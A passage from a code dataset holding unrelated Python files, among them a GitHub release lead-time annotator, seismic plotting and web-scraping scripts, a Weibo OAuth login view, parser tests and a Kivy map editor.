'0'\r\n return '%20'.join(out)\r\n\r\n\r\ndef get_lead_time(\r\n release: release.Release,\r\n repo: repository.Repository\r\n ) -> timedelta:\r\n\r\n if len(repo.get_releases()) == 1:\r\n commit_times = [\r\n datetime.timestamp(c.get_date()) - datetime.timestamp(repo.get_creation_time())\r\n for c in repo.get_commits()\r\n ]\r\n else:\r\n releases = repo.get_releases()\r\n release_index = None\r\n for index,r in enumerate(releases):\r\n if r.get_id() == release.get_id():\r\n release_index = index\r\n break\r\n if release_index != None:\r\n if release_index < len(releases)-1:\r\n prev_release = releases[release_index+1]\r\n else:\r\n return timedelta(seconds=0)\r\n else:\r\n return timedelta(seconds=0)\r\n commits = get_commits_between_releases(release, prev_release, repo)\r\n commit_times = [\r\n datetime.timestamp(c.get_date()) - datetime.timestamp(prev_release.get_creation_time())\r\n for c in commits\r\n ]\r\n # Stop disvision by zero\r\n if len(commit_times)==0:\r\n return timedelta(seconds=sum(commit_times))\r\n return timedelta(seconds=sum(commit_times)/len(commit_times))\r\n\r\n\r\ndef get_release_template(\r\n release: release.Release, \r\n prev_release: release.Release, \r\n repo: repository.Repository\r\n ) -> str:\r\n\r\n with open('ltfc/templates/default.md') as file:\r\n template = file.read()\r\n lead_time = get_lead_time(release, repo)\r\n if lead_time.days >= 30:\r\n lead_time_colour = 'critical'\r\n elif lead_time.days >= 10 and lead_time.days < 30:\r\n lead_time_colour = 'important'\r\n else:\r\n lead_time_colour = 'success'\r\n if prev_release:\r\n prev_lead_time = get_lead_time(prev_release, repo)\r\n prev_version = prev_release.get_tag_name()\r\n if lead_time > prev_lead_time:\r\n lead_time_difference = ''.join(['+',format_urlsafe_time(lead_time - prev_lead_time)])\r\n lead_time_difference_colour = 'critical'\r\n else:\r\n lead_time_difference = ''.join(['--',format_urlsafe_time(prev_lead_time - lead_time)])\r\n lead_time_difference_colour = 'success'\r\n else:\r\n prev_version = release.get_tag_name()\r\n lead_time_difference = '0m'\r\n lead_time_difference_colour = 'yellow'\r\n\r\n\r\n return template.format(\r\n version=release.get_tag_name(),\r\n lead_time=format_urlsafe_time(lead_time),\r\n lead_time_colour=lead_time_colour,\r\n prev_version=prev_version,\r\n repository=repo.get_full_name(),\r\n lead_time_difference=lead_time_difference,\r\n lead_time_difference_colour=lead_time_difference_colour\r\n )\r\n\r\n\r\nif __name__ == \"__main__\":\r\n token = os.environ.get('GITHUB_TOKEN')\r\n repo = os.environ.get('GITHUB_REPOSITORY')\r\n if not token:\r\n print('Token not found')\r\n sys.exit(1)\r\n if not repo:\r\n print('Repo not found')\r\n sys.exit(1)\r\n client = github.Github(token)\r\n repo = client.get_repository(repo)\r\n release = repo.get_latest_release()\r\n releases = repo.get_releases()\r\n if len(releases) > 1:\r\n prev_release = releases[1]\r\n else:\r\n prev_release = None\r\n release.update(\r\n message=get_release_template(\r\n release=release, \r\n repo=repo,\r\n prev_release=prev_release\r\n ) + f'\\n{release.get_body_text()}'\r\n )\r\n","sub_path":"ltfc/github_api.py","file_name":"github_api.py","file_ext":"py","file_size_in_byte":4443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"631273156","text":"\"\"\"\nModel.\n\"\"\"\n\n# Import standard modules\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import cm \nimport matplotlib.gridspec as gridspec\n\n# Import HDF5\nimport h5py\n\n# Import nessi\nfrom nessi.io import SUdata\nfrom nessi.globopt import Swarm\nfrom nessi.modeling.interfaces import dispersion_curve_init\nfrom nessi.modeling.interfaces import dispersion_curve_rayleigh\n\n#Direct input \nplt.rcParams['text.latex.preamble']=[r\"\\usepackage{times} \\usepackage{txfonts} \\usepackage[french]{babel} \\RequirePackage[utf8]{inputenc}\"]\n\n#Options\nparams = {'backend': 'PS',\n 'font.family' : 'serif',\n 'text.usetex' : True,\n 'font.size' : 11,\n 'font.weight' : 'bold',\n 'axes.labelsize' : 11,\n 'xtick.labelsize' : 11,\n 'ytick.labelsize' : 11,\n }\nplt.rcParams.update(params)\n\n# ------------------------------------------------------------\n# Prepare output figure\n# ------------------------------------------------------------\n\nfont1 = plt.figure(figsize=(7.0, 10.5))\ngs = gridspec.GridSpec(4, 1, wspace=0.30, hspace=0.25)\n\n\n# ------------------------------------------------------------\n# Prepare output figureRead the original model\n# ------------------------------------------------------------\n\nn1 = 51\nn2 = 301\nvsmod = np.fromfile('data/fvs.bin', dtype=np.float32)\nvsmod = np.reshape(vsmod, (n2, n1)).swapaxes(1, 0)\n\nfig0 = plt.subplot(gs[0])\nfig0.set_xticks(np.linspace(0., 150., 11))\nfig0.set_yticks(np.linspace(-5., 25., 7))\nfig0.set_xlim(0., 150.)\nfig0.set_ylim(25., -5.)\nfig0.set_xlabel(r'Distance [m]')\nfig0.set_ylabel(r'Depth [m]')\nfig0.imshow(vsmod, aspect='auto', cmap='jet', vmin=200., vmax=1200.,\n extent=[0., 150., 0., 25.], interpolation='Gaussian',\n origin='bottom-left')\n\nfig0.scatter(10., 0., s=48, marker='*', color='red')\nxrec = np.linspace(28., 28.+(47.*2), 48)\nzrec = np.zeros(48, dtype=np.float32)\nfig0.scatter(xrec, zrec, s=24, color='black')\n\nfont1.savefig('subvalley_model.ps', transparent=True)\n\n# ------------------------------------------------------------\n# Prepare output figure\n# ------------------------------------------------------------\n\nfont2 = plt.figure(figsize=(7.0, 10.5))\ngs = gridspec.GridSpec(3, 2, wspace=0.30, hspace=0.25)\n\n\n# ------------------------------------------------------------\n# Prepare output figure\n# ------------------------------------------------------------\n\n# Read input dispersion diagram\ndobs = SUdata(); dobs.read('data/dobsz00.su')\n\n# Calculate the dispersion diagram\nprint('Calculate the dispersion diagram')\ndisp, vel, frq = dobs.masw(vmin=200., vmax=1200., dv=5., fmin=10., fmax=50.)\n\n\n# Get values from header\nns = int(disp.header[0]['ns'])\nd1 = float(disp.header[0]['d1'])\ny0 = float(disp.header[0]['f1'])\ny1 = y0+float(ns-1)*d1\nd2 = float(disp.header[0]['d2'])\nx0 = float(disp.header[0]['f2'])\nx1 = x0+float(len(disp.header)-1)*d2\n\n# Pick the effective dispersion curve\ndref = disp.dispick(500., 25., dltv=50.)\n\nfig2 = plt.subplot(gs[0])\nfig2.set_xticks(np.linspace(28., 28.+47*2., 6))\nfig2.set_yticks(np.linspace(0., 0.5, 6))\nfig2.set_xlim(28., 28.+47.*2)\nfig2.set_ylim(0.5, 0.)\nfig2.set_xlabel(r'Offset [m]')\nfig2.set_ylabel(r'Time [s]')\nfig2.imshow(dobs.trace.swapaxes(1, 0)/np.amax(np.abs(dobs.trace)),\n aspect='auto', cmap='gray', extent=[28., 28.+47.*2, 0., 0.5],\n interpolation='gaussian', origin='bottom-left')\n\nfig3 = plt.subplot(gs[1])\nfig3.set_xticks(np.linspace(frq[0], frq[-1], 5))\nfig3.set_yticks(np.linspace(200., 1200., 6))\nfig3.set_xlim(frq[0], frq[-1])\nfig3.set_ylim(200., 1200.)\nfig3.set_xlabel(r'Frequency [Hz]')\nfig3.set_ylabel(r'Phase velocity [m/s]')\nfig3.imshow(disp.trace,\n aspect='auto', cmap='jet',\n extent=[frq[0], frq[-1], vel[0], vel[-1]],\n interpolation='gaussian', origin='bottom-left')\nfig3.scatter(dref[:,0], dref[:,1], s=8, color='white')\n\nfont2.savefig('subvalley_data.ps', transparent=True)\n","sub_path":"PRODUCTION/pso1D/plot_model.py","file_name":"plot_model.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"492262313","text":"#!/usr/bin/env python3\nimport requests, sys, traceback, subprocess, tempfile, getopt\nfrom bs4 import BeautifulSoup\n\nwurl = \"https://developer.ibm.com/javasdk/support/zos/\"\n\ndef download(url):\n \"\"\"\n Download webpage from specific url\n \"\"\"\n#Download from url\n try:\n r = requests.get(url,allow_redirects = True, timeout = 10)\n#When url doesn't contain the filename to be downloaded you can check it via 'content-disposition'\n #print(r.headers.get('content-disposition'))\n#Check content-type whether text/html type and html status code 200 is OK\n wtype = r.headers.get('content-type').split(';')\n if wtype[0] == \"text/html\" and r.status_code == 200:\n#Return downloaded page\n return r.text\n except:\n printColor(\"Error occured in download()!\")\n traceback.print_exc()\n sys.exit(1)\ndef parse_page(content):\n data = []\n counter = 1\n tmp = []\n s = BeautifulSoup(content,'html.parser')\n for i in s.find_all('td'):\n if counter == 5:\n counter = 1\n data.append(tmp)\n tmp = []\n counter += 1\n tmp.append(i.text)\n return data\ndef print_data(data):\n print(\"\\x1b[1;37;42m {sdk:<29}| {level:<70} \\x1b[0m\".format(sdk=\"SDK version\",level=\"Latest build level\"))\n print(\"{:-^103}\".format(\"-\"))\n for i in data:\n #print(\"{0:<30}|{1:<80}\".format(i[0].encode('utf-8'),i[1].encode('utf-8').lstrip()))\n print(\"{0:<30}|{1:<80}\".format(i[0],i[1].lstrip()))\ndef getArguments():\n try:\n#Getting arguments by using getopt\n opts, args = getopt.getopt(sys.argv[1:], 'h', ['html'])\n except getopt.error:\n print(\"Wrong parameter!\")\n sys.exit(1)\n for i, j in opts:\n if i in ('-h', '--html'):\n print(\"Usage: \\n\\t python3 javaptf_bs4.py \\n\\t or \\n\\t python3 javaptf_bs4.py --html\")\n sys.exit(0)\n else:\n a = parse_page(download(wurl))\n print_data(a)\nif __name__ == \"__main__\":\n getArguments()\n","sub_path":"javaptf_bs4.py","file_name":"javaptf_bs4.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"571138325","text":"from featuretools.primitives import AggregationPrimitive\nfrom featuretools.variable_types import Numeric\nfrom tsfresh.feature_extraction.feature_calculators import \\\n ratio_value_number_to_time_series_length\n\n\nclass RatioValueNumberToTimeSeriesLength(AggregationPrimitive):\n \"\"\"Returns a factor which is 1 if all values in the time series occur only\n once, and below one if this is not the case. In principle, it just returns\n\n # unique values / # values\n\n Docstring source:\n https://tsfresh.readthedocs.io/en/latest/api/tsfresh.feature_extraction.html#tsfresh.feature_extraction.feature_calculators.ratio_value_number_to_time_series_length\n \"\"\"\n name = \"ratio_value_number_to_time_series_length\"\n input_types = [Numeric]\n return_type = Numeric\n stack_on_self = False\n\n def get_function(self):\n return ratio_value_number_to_time_series_length\n","sub_path":"featuretools_tsfresh_primitives/ratio_value_number_to_time_series_length.py","file_name":"ratio_value_number_to_time_series_length.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"390991204","text":"class Solution:\n # @param a, a string\n # @param b, a string\n # @return a boolean\n def compareVersion(self, version1, version2):\n v1 = [int(x) for x in version1.split('.')]\n v2 = [int(x) for x in version2.split('.')]\n i = 0\n #Note there could be multiple dots in a version number\n while i < len(v1) and i < len(v2):\n if v1[i] > v2[i]:\n return 1\n elif v1[i] < v2[i]:\n return -1\n i += 1\n if i == len(v1):\n for j in range(i,len(v2)):\n if v2[j] > 0:\n return -1\n elif i == len(v2):\n for j in range(i,len(v1)):\n if v1[j] > 0:\n return 1\n return 0\n\n\n","sub_path":"algorithm/compare-version-numbers.py","file_name":"compare-version-numbers.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"96263975","text":"import os\nimport zipfile\n\n\nos.chdir(\"client\") # Change directory to client\nos.system('npm run build') # Building vue project\nprint(\"Build finished\")\n\nos.chdir(\"../server\")\nos.system(\"pip freeze > requirements.txt\") # Creating requirements.txt\nos.chdir(\"..\")\n\n# Creating zip archive with \nzf = zipfile.ZipFile(\"build.zip\", \"w\")\nfor dirname, subdirs, files in os.walk(\"server\"):\n if \".vscode\" not in dirname and \"pycache\" not in dirname:\n for filename in files:\n if \".sqlite\" not in filename:\n file_path = os.path.join(dirname, filename)\n out_path = file_path.replace(\"server\", \"\") # no subfolder in archive\n zf.write(file_path, out_path)\nzf.close()","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"345168901","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport os\nfrom django.core.management import BaseCommand, call_command\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n\n from django.conf import settings\n print('... UPDATING BD ...')\n paths = [\n os.path.join(settings.BASE_DIR, 'core', 'fixtures'),\n ]\n for path in paths:\n fixtures = sorted(os.listdir(path))\n for fixture in fixtures:\n print('\\n... LOADING: %s ...' % fixture.split('.')[1])\n call_command('loaddata', fixture)\n print('\\n... UPDATE BD ...')\n","sub_path":"core/management/commands/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"634373478","text":"\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponse, HttpResponseRedirect\nimport logging\nfrom Weibo.weibopy.auth import OAuthHandler\nfrom Weibo.weibopy.api import API\nfrom Weibo.coreapp.models import WeiboProfile\nfrom Weibo.settings import APP_ROOT\nfrom django import template\n\ndef is_login(r): return r.session.get('login_user',)\n\ndef guest_index(r):\n #r.session['xxx'] = r.GET.get(\"user\",)\n \n #logging.info(\"xxx:%s\" % r.session['xxx'])\n if is_login(r):return HttpResponseRedirect(\"%s/my\" % APP_ROOT)\n \n return render_to_response(\"weibo/weibo_base.html\", \n {'user': r.GET.get(\"user\",)})\n\ndef login_index(r):\n if not is_login(r):return HttpResponseRedirect(\"%s/index\" % APP_ROOT)\n #r.session['xxx'] = \"xxxxx\"\n user = r.session.get('login_user',)\n logging.info(u\"loging:%s\" % user)\n \n return render_to_response(\"weibo/login_index.html\", {},\n context_instance=template.RequestContext(r)\n )\n\ndef callback(r):\n auth = OAuthHandler(\"2453342288\", \"2c545e783036afe3ae1cfef1e24ba9fb\", )\n\n verifier = r.GET['oauth_verifier']\n rtoken = r.session['request_token']\n auth.set_request_token(rtoken.key, rtoken.secret)\n access_token = auth.get_access_token(verifier)\n \n api = API(auth)\n user = api.verify_credentials() \n logging.info(\"user:%s\" % str(user))\n \n p = WeiboProfile.import_from_sina(user, auth)\n r.session['login_user'] = p.user\n r.session['login_weibo'] = p\n \n return HttpResponseRedirect(\"%s/my\" % APP_ROOT)\n #return render_to_response(\"weibo/weibo_base.html\", {'user': ''})\n\ndef auth_sina(r):\n #callback \n auth = OAuthHandler(\"2453342288\", \"2c545e783036afe3ae1cfef1e24ba9fb\", \"%s/callback\" % APP_ROOT)\n auth_url = auth.get_authorization_url()\n r.session['request_token'] = auth.request_token\n logging.info(\"url:%s\" % auth_url)\n logging.info(\"request_token:%s\" % str(auth.request_token))\n \n return HttpResponseRedirect(auth_url)\n\ndef logout(r):\n r.session.flush()\n return HttpResponseRedirect(\"%s/index\" % APP_ROOT)\n ","sub_path":"other_projects/python/WeiboAds/src/Weibo/coreapp/views/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"518943711","text":"import os\nimport yaml\n\ndef makedir(d):\n\tif isinstance(d, dict):\n\t\tfor key in d.keys():\n\t\t\tvalue = d[key]\n\t\t\tif isinstance(value, dict):\n\t\t\t\tos.mkdir(key)\n\t\t\t\tos.chdir(key)\n\t\t\t\tmakedir(value)\n\t\t\t\tos.chdir('..')\n\t\t\telse:\n\t\t\t\twith open(key, 'w') as f:\n\t\t\t\t\tf.write(value)\n\telif isinstance(d, list):\n\t\tfor i in d:\n\t\t\tmakedir(i)\n\ndef yaml_generate(t, p):\n\tmakedir(yaml.load(t % p))\n\n","sub_path":"fsgen.py","file_name":"fsgen.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"98049181","text":"'''def browse_folder(self):\n\t\tself.FileListWidget.clear()\n\t\tdirectory = QtWidgets.QFileDialog.getExistingDirectory(self, \"Выберите директорию\")\n\t\tif directory:\n\t\t\tfor file_name in os.listdir(directory):\n\t\t\t\tif \".\" in file_name:\n\t\t\t\t\tself.FileListWidget.addItem(file_name)\n\t\tFileName = QtWidgets.QFileDialog.getOpenFileName(self, \"Выберите файл\", \"\", \"Изображения(*.png)\")[0]'''\n\n\n\nimport design\n\ns = input(\"Введите сообщение: \")\nn = len(s)\nq, e = 0, 4\ncn = n*4\nw = cn//e\ncs = e + w\ncw = w\nce = e\nif (cn%e != 0):\n w += 1\n cs += 1\nwhile (q == 0):\n e += 4\n cn = n*4\n w = cn//e\n bs = e + w\n if (cn%e != 0):\n bs += 1\n w += 1\n if bs > cs: q = 1\n else: cw, ce, cs = w, e, bs\n\nz = cw*ce//4\nKey = \"\"\n#key = int(input(\"Введите ключ из \" %z \"х 16ричных символов\"), 16)\nwhile (len(Key) < z):\n sK = input()\n Key += sK\nKey = int(Key, 16)\nprint(cw, ce,cs, bin(Key))","sub_path":"Steg/old/traf.py","file_name":"traf.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"443024014","text":"\"\"\"Parser tests\"\"\"\n\nfrom unittest import TestCase\nfrom climaker import Parser, Arg, Arguments, Subcommands\n\n\nclass ParserTest(TestCase):\n\n def test_parser_flat(self):\n parser = Parser(fixture_flat_spec, prog='climaker_test')\n action = parser.parse_arguments(fixture_flat_args)\n self.assertEqual(action.command, fixture_flat_command)\n self.assertEqual(action.params, fixture_flat_params)\n\n def test_parser_complex(self):\n parser = Parser(fixture_complex_spec, prog='climaker_test')\n for check_key, check_config in fixture_complex_checks.items():\n with self.subTest(f'Parser complex check {check_key!r}'):\n action = parser.parse_arguments(check_config['args'])\n self.assertEqual(action.command, check_config['command'])\n self.assertEqual(action.params, check_config['params'])\n\n\nfixture_flat_spec = Arguments([\n Arg('name'),\n Arg('-f', '--foo'),\n Arg('--bar', type_=int, default=42),\n Arg('--no-check', arg_type='flag', default=False),\n])\n\nfixture_flat_args = ['Some Name', '-f', 'string value', '--bar', '19', '--no-check']\n\nfixture_flat_command = []\nfixture_flat_params = {\n 'name': 'Some Name',\n 'foo': 'string value',\n 'bar': 19,\n 'no_check': True,\n}\n\n\nfixture_complex_spec = Subcommands({\n 'cmd1': Subcommands({\n 'sub1': Arguments([Arg('name')]),\n 'sub2': Arguments([Arg('value')]),\n }),\n 'cmd2': Arguments([\n Arg('-f', '--foo', type_=int),\n ])\n})\n\nfixture_complex_checks = {\n 'check_1': {\n 'args': ['cmd1', 'sub1', 'Name'],\n 'command': ['cmd1', 'sub1'],\n 'params': {'name': 'Name'},\n },\n 'check_2': {\n 'args': ['cmd1', 'sub2', 'Value'],\n 'command': ['cmd1', 'sub2'],\n 'params': {'value': 'Value'},\n },\n 'check_3': {\n 'args': ['cmd2', '-f', '42'],\n 'command': ['cmd2'],\n 'params': {'foo': 42},\n }\n}\n","sub_path":"tests/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"582551561","text":"#!/usr/bin/env python\n\nimport re\n\nfrom .constants import (\n MAX_CHAR_CONTINUOUS_NUM,\n MAX_SP_CHAR_NUM,\n MAX_VALID_LENGTH,\n MIN_VALID_LENGTH,\n SP_CHARS\n)\nfrom .log import LogMsgVerifyPswd\n\n\ndef verify_pswd(pswd: str) -> bool:\n print('\\n[pswd]: {}'.format(pswd)) # '\\n' is for pytest output\n if _check_length(pswd):\n print('Password length is {}.'.format(len(pswd)))\n print(LogMsgVerifyPswd.INVALID_LENGTH)\n elif _include_invalid_char(pswd):\n print(LogMsgVerifyPswd.INVALID_CHAR)\n elif _include_not_all_patterns(pswd):\n print(LogMsgVerifyPswd.NOT_ALL_PATTERNS)\n elif _include_over_continuous_same_chars(pswd):\n print(LogMsgVerifyPswd.OVER_CONTINUOUS_SAME_CHARS)\n elif _include_over_sp_char_num(pswd):\n print(LogMsgVerifyPswd.OVER_SP_CHAR_NUM)\n elif _include_num_more_than_half_of_length(pswd):\n print(LogMsgVerifyPswd.MORE_THAN_HALF_OF_LENGTH)\n else:\n print(LogMsgVerifyPswd.VALID)\n return True\n return False\n\n\ndef _check_length(pswd: str) -> bool:\n '''\n [Password requirement] 1. At least 18 alphanumeric characters and list of special chars !@#$&*\n '''\n return len(pswd) < MIN_VALID_LENGTH or len(pswd) > MAX_VALID_LENGTH\n\n\ndef _include_invalid_char(pswd: str) -> bool:\n '''\n [Password requirement] 1. At least 18 alphanumeric characters and list of special chars !@#$&*\n '''\n for x in pswd:\n # x.isalnum() unavailable for Hiragana, Kanji, etc\n if not bool(re.search('[0-9a-zA-Z]', x)) and x not in SP_CHARS:\n return True\n return False\n\n\ndef _include_not_all_patterns(pswd: str) -> bool:\n '''\n [Password requirement] 2. At least 1 Upper case, 1 lower case ,least 1 numeric, 1 special character\n '''\n upper_flg = False\n lower_flg = False\n num_flg = False\n special_flg = False\n for x in pswd:\n if x.isupper():\n upper_flg = True\n elif x.islower():\n lower_flg = True\n elif x.isnumeric():\n num_flg = True\n elif x in SP_CHARS:\n special_flg = True\n if upper_flg and lower_flg and num_flg and special_flg:\n return False\n return True\n\n\ndef _include_over_continuous_same_chars(pswd: str) -> bool:\n '''\n [Password requirement] 3. No duplicate repeat characters more than 4\n '''\n count = 1\n prev_char = pswd[0]\n for x in list(pswd)[1:]:\n if x == prev_char:\n count += 1\n else:\n # Reset\n count = 1\n prev_char = x\n if count > MAX_CHAR_CONTINUOUS_NUM:\n return True\n return False\n\n\ndef _include_over_sp_char_num(pswd: str) -> bool:\n '''\n [Password requirement] 4. No more than 4 special characters\n '''\n count = 0\n for c in SP_CHARS:\n count += pswd.count(c)\n return count > MAX_SP_CHAR_NUM\n\n\ndef _include_num_more_than_half_of_length(pswd: str) -> bool:\n '''\n [Password requirement] 5. 50 % of password should not be a number\n '''\n count = 0\n for c in pswd:\n if c.isnumeric():\n count += 1\n return count >= len(pswd) / 2.0\n","sub_path":"change_pswd_func/verify_pswd.py","file_name":"verify_pswd.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"237046445","text":"#copy6\nimport thread\nimport time\nimport threading\nimport sys\n\nx= 5\nz=1\nsum=23\ny= 0\n\ndef copy6():\n global z\n global sum\n global y\n\n z = 0\n sum = 0\n y = 0\n\n while z == 0 :\n sum = sum + x\n y = y + 1\n\nthread.start_new_thread(copy6,())\n\n","sub_path":"demo/copy6.py","file_name":"copy6.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"423416081","text":"from fractions import Fraction\n\n\ndef calc_part() -> None:\n \n while True:\n try:\n a = float(input('Введите число: '))\n if 1 < a <= 1.5:\n break\n else:\n print('Число должно принадлежать интервалу от 1 до 1.5!')\n except ValueError:\n print('Используйте десятичные дроби с разделителем - .')\n \n i = 1\n \n while Fraction(1 , i) + 1 >= a:\n i += 1\n print(1,end='+')\n print(Fraction(1, i))\n \n \ncalc_part()","sub_path":"1400_basic_tasks/chap_8/ex_8_6.py","file_name":"ex_8_6.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"394525605","text":"# -*- coding: utf-8 -*-\nimport time\nfrom odoo import api, models, _\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\n\nclass ReportAgedPartnerBalance(models.AbstractModel):\n _name = 'report.member_barcode_scanner.print_ticket_report_view'\n\n @api.model\n def render_html(self, docids, data=None):\n model = 'event.registration'\n if not docids:\n docids = self._context.get('active_ids', [])\n docs = self.env[model].browse(docids)\n docargs = {\n 'doc_ids': self.ids,\n 'doc_model': model,\n 'docs': docs,\n 'time': time,\n }\n return self.env['report'].render('member_barcode_scanner.print_ticket_report_view', docargs)\n","sub_path":"member_barcode_scanner/report/print_ticket.py","file_name":"print_ticket.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"231918718","text":"from drawfunctions import DrawFunctions\nfrom globals import *\nimport kivy\nfrom kivy.app import App\nfrom kivy.config import Config\nfrom kivy.core.image import Image\nfrom kivy.core.window import Window\n#from kivy.graphics import Color, Rectangle\nfrom kivy.uix.button import Button\nfrom kivy.uix.dropdown import DropDown\nfrom kivy.uix.floatlayout import FloatLayout\nfrom kivy.uix.gridlayout import GridLayout\n#from kivy.uix.label import Label\nfrom kivy.uix.popup import Popup\nfrom kivy.uix.scrollview import ScrollView\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.widget import Widget\nfrom loadpopup import LoadPopup\nfrom map import MapArea\nfrom mapdata import MapData\nfrom os import listdir\nfrom palette import PaletteArea\nfrom properties_popup import PropertiesPopup\nimport pickle\nfrom tiles.BasicTile import BasicTile\n\nkivy.require('1.9.0')\nConfig.set('input', 'mouse', 'mouse,disable_multitouch')\nWindow.size = (1024, 768)\n\nclass RootWidget(GridLayout):\n\tdef __init__(self, **kwargs):\n\t\tsuper(RootWidget, self).__init__(**kwargs)\n\t\t\n\t\tself.map = MapData()\n\n\t\t### TOP BAR ###\n\t\ttopLayout = GridLayout(cols = 21, size_hint = (1, None), height = 30, padding = [5])\n\t\tself.add_widget(topLayout)\n\t\t\n\t\t# Buttons:\n\t\t# New Map button\n\t\ttopLayout.add_widget(Widget())\n\t\tnewBtn = Button(text = \"New Map\", size_hint = (None, 1), width = 100)\n\t\tnewBtn.bind(on_press = self.load)\n\t\ttopLayout.add_widget(newBtn)\n\t\ttopLayout.add_widget(Widget())\n\t\ttopLayout.add_widget(Widget())\n\t\t\n\t\t# Save Map button\n\t\tsaveBtn = Button(text = \"Save Map\", size_hint = (None, 1), width = 100)\n\t\tsaveBtn.bind(on_press = self.save)\n\t\ttopLayout.add_widget(saveBtn)\n\t\ttopLayout.add_widget(Widget())\n\t\ttopLayout.add_widget(Widget())\n\t\t\n\t\t# Load Map button\n\t\tloadBtn = Button(text = \"Load Map\", size_hint = (None, 1), width = 100)\n\t\tloadPopup = LoadPopup(size_hint = (None, None), size = (0.4 * Window.size[0], 0.8 * Window.size[1]))\n\t\tloadPopup.loadButton.bind(on_press = lambda x: self.load(file = loadPopup.selectedFileLabel.text, popup = loadPopup))\n\t\tloadBtn.bind(on_press = lambda x: loadPopup.open())\n\t\ttopLayout.add_widget(loadBtn)\n\t\ttopLayout.add_widget(Widget())\n\t\ttopLayout.add_widget(Widget())\n\t\t\n\t\t# Options button\n\t\toptionsBtn = Button(text = \"Options\", size_hint = (None, 1), width = 100)\n\t\toptionsBtn.bind(on_press = lambda x: x)\n\t\ttopLayout.add_widget(optionsBtn)\n\t\ttopLayout.add_widget(Widget())\n\t\ttopLayout.add_widget(Widget())\n\t\t\n\t\t# Undo button\n\t\tundoBtn = Button(text = \"Undo\", size_hint = (None, 1), width = 100)\n\t\tundoBtn.bind(on_press = lambda x: self.mapArea.undo())\n\t\ttopLayout.add_widget(undoBtn)\n\t\ttopLayout.add_widget(Widget())\n\t\ttopLayout.add_widget(Widget())\n\t\t\n\t\t# Grid drawing tool button\n\t\tgridBtn = Button(text = \"Grid tool\", size_hint = (None, 1), width = 100)\n\t\tgridBtn.bind(on_press = lambda x: self.mapArea.setDrawFunction(DrawFunctions.grid))\n\t\ttopLayout.add_widget(gridBtn)\n\t\ttopLayout.add_widget(Widget())\n\t\ttopLayout.add_widget(Widget())\n\t\t\n\t\t# Freehand drawing tool button\n\t\tfreeBtn = Button(text = \"Freehand tool\", size_hint = (None, 1), width = 100)\n\t\tfreeBtn.bind(on_press = lambda x: self.mapArea.setDrawFunction(DrawFunctions.freeHand))\n\t\ttopLayout.add_widget(freeBtn)\n\t\ttopLayout.add_widget(Widget())\n\t\t\n\t\t### END TOP BAR ###\n\n\t\tbottomLayout = GridLayout(cols = 3, padding = [5], spacing = [9])\n\t\tself.add_widget(bottomLayout)\n\t\t\n\t\t### LEFT SIDEBAR ###\n\t\tleftOptions = GridLayout(cols = 1, size_hint = (None, 1), width = 8 * paletteTileRes + 19, spacing = [10])\n\t\tbottomLayout.add_widget(leftOptions)\n\t\t\n\t\t## MAP PROPERTIES ##\n\t\tMP = Label(text = \"Map Properties\", color = [0, 0, 0, 1], size_hint = (1, None), height = 20)\n\t\tleftOptions.add_widget(MP)\n\t\t\n\t\tleftLayoutTop = GridLayout(cols = 3, size_hint = (1, None), height = 90, padding = [25, 0, 0, 0])\t\t\n\t\tleftOptions.add_widget(leftLayoutTop)\n\t\t\n\t\t# ID label, textbox, and button\n\t\tID = Label(text = \"ID:\", color = [0, 0, 0, 1], size_hint = (None, None), size = (60, 20))\n\t\tself.IDTB = TextInput(text = str(self.map.ID), multiline = False, size_hint = (None, None), size = [100, 25], padding = [3, 3, 3, 3])\n\t\tIDB = Button(text = \"Ok\", size_hint = (None, None), size = [40, 20])\n\t\tIDB.bind(on_press = lambda x: self.map.setID(self.IDTB.text))\n\t\tleftLayoutTop.add_widget(ID)\n\t\tleftLayoutTop.add_widget(self.IDTB)\n\t\tleftLayoutTop.add_widget(IDB)\n\t\t\n\t\t# Name label, textbox, and button\n\t\tNM = Label(text = \"Name:\", color = [0, 0, 0, 1], size_hint = (None, None), size = (60, 20))\n\t\tself.NMTB = TextInput(text = 